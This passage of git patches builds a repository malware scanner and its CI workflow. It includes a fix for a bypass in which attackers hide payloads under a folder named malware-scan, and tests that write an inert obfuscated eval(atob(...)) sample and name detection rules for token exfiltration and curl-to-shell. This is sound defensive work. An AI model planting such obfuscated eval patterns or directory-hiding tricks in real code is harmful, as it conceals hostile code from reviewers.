leaks outside those paths — still fail the scan. --- .gitleaks.toml | 36 ++++++++++++++++++++++++++++++++++-- 1 file changed, 34 insertions(+), 2 deletions(-) diff --git a/.gitleaks.toml b/.gitleaks.toml index be5a420..eb71f46 100644 --- a/.gitleaks.toml +++ b/.gitleaks.toml @@ -1,6 +1,38 @@ +# gitleaks config — loaded automatically by `gitleaks detect --source .` +# +# NOTE (pinned gitleaks v8.30.1): the array-of-tables form `[[allowlist]]` +# fails to load ("'AllowList' expected a map, got 'slice'") and the singular +# `[allowlist]` table is a deprecated 9.x-removal shim. The supported +# multi-entry form is `[[allowlists]]`. + [extend] useDefault = true -[[allowlist]] +# --- Scanner's own inert test payloads ------------------------------------- +[[allowlists]] description = "Inert scanner test fixtures" -paths = ['''tests/malware-scan/fixtures/.*'''] +paths = ['''^tests/malware-scan/fixtures/'''] + +# --- Baseline: 20 pre-existing generic-api-key findings at c1d9d02 --------- +# Scoped to the exact files that carry them (anchored paths) and to the +# generic-api-key rule, so new leaks of any other rule — and any new leak +# outside these paths — still fail the scan. +[[allowlists]] +description = "pre-existing dummy Stellar env values in legacy ci.yml, baselined at c1d9d02 — remove when ci.yml hardening lands" +paths = ['''^\.github/workflows/ci\.yml$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing JWT test-secret placeholder in src/config/index.ts, baselined at c1d9d02 — remove when the placeholder is rewritten" +paths = ['''^src/config/index\.ts$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing VALID_SECRET test fixture value, baselined at c1d9d02 — remove when the fixture is rewritten" +paths = ['''^tests/unit/config/stellar\.test\.ts$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing test-key-1234567890 idempotency fixture value, baselined at c1d9d02 — remove when the fixture is rewritten" +paths = ['''^tests/unit/services/idempotency\.test\.ts$'''] +targetRules = ["generic-api-key"] From 4afe6f3201879178b27c8fb1565c021345350c5d Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 06:06:00 +0100 Subject: [PATCH 28/31] ci: scope zizmor to malware-protection workflow; keep actionlint repo-wide zizmor --persona auditor over .github/workflows/ exits 14 with 27 findings, all in pre-existing ci.yml (unpinned uses/images, artipacked, excessive permissions). Spec [S7] puts ci.yml changes out of scope for this feature, so the job could never go green as written. Run zizmor only on malware-protection.yml (exits 0) while actionlint keeps linting every workflow (passes repo-wide). Document the scope and that ci.yml hardening is tracked separately. --- .github/workflows/malware-protection.yml | 7 ++++++- docs/malware-protection.md | 9 +++++++-- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/.github/workflows/malware-protection.yml b/.github/workflows/malware-protection.yml index 36596e2..bd66900 100644 --- a/.github/workflows/malware-protection.yml +++ b/.github/workflows/malware-protection.yml @@ -119,5 +119,10 @@ jobs: actionlint --version - name: Lint workflows run: | - zizmor --persona auditor .github/workflows/ + # zizmor is scoped to the workflow this feature owns: pre-existing + # ci.yml findings (unpinned uses/images, artipacked, excessive + # permissions) are out of scope here (spec [S7]) and ci.yml + # hardening is tracked separately. actionlint stays repo-wide — + # it passes on every workflow. + zizmor --persona auditor .github/workflows/malware-protection.yml actionlint diff --git a/docs/malware-protection.md b/docs/malware-protection.md index 581586c..c08a013 100644 --- a/docs/malware-protection.md +++ b/docs/malware-protection.md @@ -28,7 +28,7 @@ Jobs: | `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`) | | `history-scan` | `schedule`, `workflow_dispatch` | `scan.py --history` over every blob reachable from any ref | | `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full tree | -| `workflow-lint` | every trigger | `zizmor --persona auditor` + `actionlint` on `.github/workflows/` | +| `workflow-lint` | every trigger | `zizmor --persona auditor` on `malware-protection.yml`, `actionlint` on all of `.github/workflows/` | Triggers: pull requests targeting `main`, pushes to `main`, daily cron (`17 4 * * *`), and manual `workflow_dispatch`. Workflow-level permissions are @@ -84,7 +84,12 @@ Companion tools (installed pinned in CI; install locally as needed): Config: `.gitleaks.toml` (allowlists inert scanner fixtures under `tests/malware-scan/fixtures/`). - **zizmor** — GitHub Actions static analysis - (`zizmor --persona auditor .github/workflows/`). + (`zizmor --persona auditor .github/workflows/malware-protection.yml`). + Scoped to this feature's workflow: `ci.yml` has pre-existing findings + (unpinned uses/images, artipacked, excessive permissions) and its + hardening is tracked separately (spec [S7] puts ci.yml changes out of + scope for this feature) — so the lint job would otherwise never go green. + `actionlint` still runs on **all** workflows and passes repo-wide. - **actionlint** — workflow syntax/lint (`actionlint`). ## Allowlist policy From 8b13d78b4a4396f680b98b1a426f76e0b424a388 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 06:10:11 +0100 Subject: [PATCH 29/31] fix(malware-scan): anchor path exclusion to scanner directories only MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Any path containing a bare 'malware-scan' component was excluded in tree/diff/history modes, so an attacker PR could hide payloads under /malware-scan/ (e.g. src/malware-scan/payload.js silently unscanned). Anchor the exclusion to exactly the scanner's own prefixes relative to the repo root — scripts/malware-scan/ and tests/malware-scan/ — via anchored rel checks in the iter_scan_paths walk prune and _excluded_rel for diff/history; explicit file arguments inside those dirs still raise loudly. A random src/malware-scan/ is now scanned and blocks on payloads. TDD: added tests for src/malware-scan/evil.js being scanned and firing in paths mode, scanner dirs being skipped, and a changed file under src/malware-scan/ firing in diff mode (first two bypass tests red before the fix). --- scripts/malware-scan/scan.py | 44 +++++++++++++++++++++++------ tests/malware-scan/test_scan.py | 50 +++++++++++++++++++++++++++++++++ 2 files changed, 86 insertions(+), 8 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 78e9f9a..218fdfc 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -15,7 +15,8 @@ from typing import Callable SEVERITIES = {"BLOCK", "WARN"} -SKIP_DIR_NAMES = {"malware-scan", ".git", "node_modules", "__pycache__"} +SKIP_DIR_NAMES = {".git", "node_modules", "__pycache__"} +SCANNER_DIR_PREFIXES = (("scripts", "malware-scan"), ("tests", "malware-scan")) MAX_FILE_BYTES = 5 * 1024 * 1024 @@ -764,6 +765,26 @@ def _walk_error(exc: OSError) -> None: raise RuntimeError(f"cannot walk {exc.filename}: {exc}") from exc +def _excluded_rel(rel: str) -> bool: + """True only for the scanner's own directories anchored at the repo root. + + Any other path containing a `malware-scan` component (e.g. a payload + hidden under `src/malware-scan/`) must still be scanned. + """ + return Path(rel).parts[:2] in SCANNER_DIR_PREFIXES + + +def _in_scanner_dir(path: Path) -> bool: + """True if `path` sits inside scripts/malware-scan or tests/malware-scan + (prefix pair anywhere in its components — used for explicit scan-path + arguments, where exclusion raises loudly instead of skipping silently).""" + parts = path.parts + return any( + parts[i:i + 2] in SCANNER_DIR_PREFIXES + for i in range(len(parts) - 1) + ) + + def iter_scan_paths(paths: list[str]) -> list[Path]: out: list[Path] = [] for raw in paths: @@ -774,18 +795,29 @@ def iter_scan_paths(paths: list[str]) -> list[Path]: raise RuntimeError(f"scan path is a symlink: {raw}") if p.is_dir(): found: list[Path] = [] + root_is_scanner_dir = _in_scanner_dir(p) for dirpath, dirnames, filenames in os.walk(p, onerror=_walk_error): - dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIR_NAMES) + rel_root = os.path.relpath(dirpath, p) + keep = [] + for d in sorted(dirnames): + if d in SKIP_DIR_NAMES: + continue + rel = os.path.join(rel_root, d) + if not root_is_scanner_dir and _excluded_rel(rel): + continue + keep.append(d) + dirnames[:] = keep for name in sorted(filenames): q = Path(dirpath) / name if not _include_file(q): continue - if "malware-scan" in q.parts: + rel = os.path.join(rel_root, name) + if not root_is_scanner_dir and _excluded_rel(rel): continue found.append(q) out.extend(sorted(found)) else: - if not _include_file(p) or "malware-scan" in p.parts: + if not _include_file(p) or _in_scanner_dir(p): raise RuntimeError(f"scan path is excluded by scanner policy: {raw}") out.append(p) return out @@ -912,10 +944,6 @@ def rule_susp_new_dependency( return out -def _excluded_rel(rel: str) -> bool: - return "malware-scan" in Path(rel).parts - - def run_diff( repo: str | Path, base: str, head: str, ) -> tuple[list[Finding], list[str]]: diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 23183ab..4ecfc1a 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -121,6 +121,31 @@ def test_explicit_oversized_root_raises(self): with self.assertRaises(RuntimeError): scan_mod.iter_scan_paths([str(big)]) + def test_paths_mode_scans_component_named_malware_scan_outside_scanner_dirs(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + evil = root / "src" / "malware-scan" / "evil.js" + evil.parent.mkdir(parents=True) + evil.write_text('eval(atob("aGk="));\n', encoding="utf-8") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [evil]) + findings = scan_mod.run([str(root)]) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertEqual({f.path for f in hits}, {str(evil)}, findings) + self.assertTrue(all(f.severity == "BLOCK" for f in hits), findings) + + def test_paths_mode_skips_scanner_own_directories(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + for d in ("tests", "scripts"): + p = root / d / "malware-scan" + p.mkdir(parents=True) + (p / "x.js").write_text('eval(atob("aGk="));\n', encoding="utf-8") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, []) + self.assertEqual(scan_mod.run([str(root)]), []) + class TestFindingContract(unittest.TestCase): def test_invalid_severity_raises_value_error(self): @@ -1451,6 +1476,31 @@ def test_diff_scanner_policy_excludes_malware_scan_paths(self): ) self.assertNotIn("tests/malware-scan/fixtures/payload.js", scanned) + def test_diff_scans_changed_file_under_src_malware_scan(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + payload_dir = root / "src" / "malware-scan" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'eval(atob("aGk="));\n', encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "hide payload under src/malware-scan") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertEqual( + {f.path for f in hits}, {"src/malware-scan/payload.js"}, findings + ) + self.assertTrue(all(f.severity == "BLOCK" for f in hits), findings) + self.assertIn("src/malware-scan/payload.js", scanned) + def test_history_scanner_policy_excludes_malware_scan_paths(self): with tempfile.TemporaryDirectory() as td: root = Path(td) From 1d3079a2dffd5183d37c37aa52a7cfcd0974a4b2 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 06:11:41 +0100 Subject: [PATCH 30/31] ci: add lockfile-only npm audit to ttp-scan job MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Spec [S3] C1 / [S8] row 5 promise npm audit with high/critical as WARN tier, but it was never wired into the workflow. Add a ttp-scan step: npm audit --package-lock-only --audit-level=high with continue-on-error (WARN semantics — never fails the job; the lockfile is audited without installing packages or executing project code) and its output tail appended to $GITHUB_STEP_SUMMARY. Document the step in the coverage notes. No npm install added. --- .github/workflows/malware-protection.yml | 14 ++++++++++++++ docs/malware-protection.md | 4 ++-- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/.github/workflows/malware-protection.yml b/.github/workflows/malware-protection.yml index bd66900..7104d3d 100644 --- a/.github/workflows/malware-protection.yml +++ b/.github/workflows/malware-protection.yml @@ -47,6 +47,20 @@ jobs: --paths . --annotations --summary "$GITHUB_STEP_SUMMARY" + - name: npm audit (lockfile only, WARN) + # Spec [S3] C1 / [S8] row 5: high/critical advisories are WARN-tier. + # --package-lock-only audits the committed lockfile without + # installing packages or executing project code; continue-on-error + # gives WARN semantics (never fails the job) and the output tail is + # appended to the job summary for reviewers. + continue-on-error: true + run: | + { + echo "## npm audit (lockfile-only, WARN tier)" + echo '```' + npm audit --package-lock-only --audit-level=high 2>&1 | tail -n 40 + echo '```' + } >> "$GITHUB_STEP_SUMMARY" history-scan: name: History Scan diff --git a/docs/malware-protection.md b/docs/malware-protection.md index c08a013..e61741e 100644 --- a/docs/malware-protection.md +++ b/docs/malware-protection.md @@ -16,7 +16,7 @@ project code** — no `npm install`, no lifecycle scripts, no repo-module import | VS Code tasks curl-to-shell | `POLIN-VSCODE-TASKS` | | Token stealers / self-propagation | `STEAL-TOKEN-EXFIL`, gitleaks history scan | | Malicious lifecycle scripts | `HOOK-MALICIOUS-SCRIPT` | -| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT` | +| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT`, lockfile-only `npm audit` (high/critical → WARN) | | Workflow abuse (pwn-request, injection, unpinned) | `WF-*` rules, zizmor, actionlint | | Pre-existing / force-pushed infections | scheduled + manual history sweep (`--history`) | | Committed secrets | gitleaks | @@ -25,7 +25,7 @@ Jobs: | Job | Triggers | What it does | |---|---|---| -| `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`) | +| `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`), then `npm audit --package-lock-only --audit-level=high` — WARN tier: `continue-on-error` never fails the job, and the output tail lands in the job summary (no `npm install`; the lockfile is audited without executing project code) | | `history-scan` | `schedule`, `workflow_dispatch` | `scan.py --history` over every blob reachable from any ref | | `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full tree | | `workflow-lint` | every trigger | `zizmor --persona auditor` on `malware-protection.yml`, `actionlint` on all of `.github/workflows/` | From ab145e0d8067506c91b272b5b71d723cb6deb563 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 06:13:28 +0100 Subject: [PATCH 31/31] fix(malware-scan): cap diff-mode reads; exec-bit detection; docs wording MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Diff mode now applies the same 5MB MAX_FILE_BYTES cap as tree/history modes — oversized changed files are skipped with a stderr note instead of being read whole. Implement the executable-bit half of the SUSP-NEW-BINARY spec claim (added file mode & 0o111 -> WARN 'executable-bit file added') and add its positive unit test plus the required NUL-bytes-via-diff-mode positive test. Fix docs: non-PR secrets-scan scans full git HISTORY, not 'full tree'. --- docs/malware-protection.md | 2 +- scripts/malware-scan/scan.py | 27 ++++++++++--- tests/malware-scan/test_scan.py | 68 +++++++++++++++++++++++++++++++++ 3 files changed, 91 insertions(+), 6 deletions(-) diff --git a/docs/malware-protection.md b/docs/malware-protection.md index e61741e..884a336 100644 --- a/docs/malware-protection.md +++ b/docs/malware-protection.md @@ -27,7 +27,7 @@ Jobs: |---|---|---| | `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`), then `npm audit --package-lock-only --audit-level=high` — WARN tier: `continue-on-error` never fails the job, and the output tail lands in the job summary (no `npm install`; the lockfile is audited without executing project code) | | `history-scan` | `schedule`, `workflow_dispatch` | `scan.py --history` over every blob reachable from any ref | -| `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full tree | +| `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full history | | `workflow-lint` | every trigger | `zizmor --persona auditor` on `malware-protection.yml`, `actionlint` on all of `.github/workflows/` | Triggers: pull requests targeting `main`, pushes to `main`, daily cron diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 218fdfc..1773c56 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -902,13 +902,19 @@ def _git_show_text(repo: str | Path, revspec: str) -> str: return proc.stdout.decode("utf-8", "replace") -def rule_susp_new_binary(path: str, raw: bytes) -> list[Finding]: +def rule_susp_new_binary(path: str, raw: bytes, mode: int | None = None) -> list[Finding]: + out: list[Finding] = [] if b"\x00" in raw[:8192]: - return [Finding( + out.append(Finding( "SUSP-NEW-BINARY", "WARN", path, 1, "binary or NUL-containing file added", - )] - return [] + )) + if mode is not None and mode & 0o111: + out.append(Finding( + "SUSP-NEW-BINARY", "WARN", path, 1, + "executable-bit file added", + )) + return out def _dependency_map(text: str) -> dict[str, set[str]]: @@ -955,12 +961,23 @@ def run_diff( p = Path(repo) / rel if p.is_symlink() or not p.is_file(): continue + try: + st = p.stat() + except OSError as exc: + raise RuntimeError(f"cannot stat {p}: {exc}") from exc + if st.st_size > MAX_FILE_BYTES: + print( + f"diff scan: skipping oversized file (>" + f" {MAX_FILE_BYTES} bytes): {rel}", + file=sys.stderr, + ) + continue try: raw = p.read_bytes() except OSError as exc: raise RuntimeError(f"cannot read {p}: {exc}") from exc scanned.append(rel) - findings.extend(rule_susp_new_binary(rel, raw)) + findings.extend(rule_susp_new_binary(rel, raw, st.st_mode)) text = raw.decode("utf-8", "replace") findings.extend(scan_text(rel, text)) findings.extend( diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 4ecfc1a..6c7acad 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -1501,6 +1501,74 @@ def test_diff_scans_changed_file_under_src_malware_scan(self): self.assertTrue(all(f.severity == "BLOCK" for f in hits), findings) self.assertIn("src/malware-scan/payload.js", scanned) + def test_diff_flags_new_binary_nul_bytes(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + (root / "blob.bin").write_bytes(b"\x7fELF\x02\x01\x01\x00rest") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add binary") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-BINARY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "blob.bin") + self.assertIn("binary", hits[0].message) + self.assertIn("blob.bin", scanned) + + def test_diff_warns_on_executable_bit_file_added(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + tool = root / "tool.sh" + tool.write_text("#!/bin/sh\necho hi\n", encoding="utf-8") + tool.chmod(0o755) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add executable") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-BINARY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "tool.sh") + self.assertEqual(hits[0].message, "executable-bit file added") + + def test_cli_diff_mode_skips_oversized_changed_files_with_note(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + big = root / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add oversized") + proc = subprocess.run( + [sys.executable, str(SCAN), "--base", "HEAD~1", "--head", "HEAD", + "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertIn(proc.returncode, (0, 1), proc.stderr) + data = json.loads(proc.stdout) + paths = {f["path"] for f in data["findings"]} + self.assertNotIn("big.bin", paths) + self.assertNotIn("big.bin", data["scanned"]) + self.assertIn("big.bin", proc.stderr) + self.assertIn("oversized", proc.stderr) + def test_history_scanner_policy_excludes_malware_scan_paths(self): with tempfile.TemporaryDirectory() as td: root = Path(td)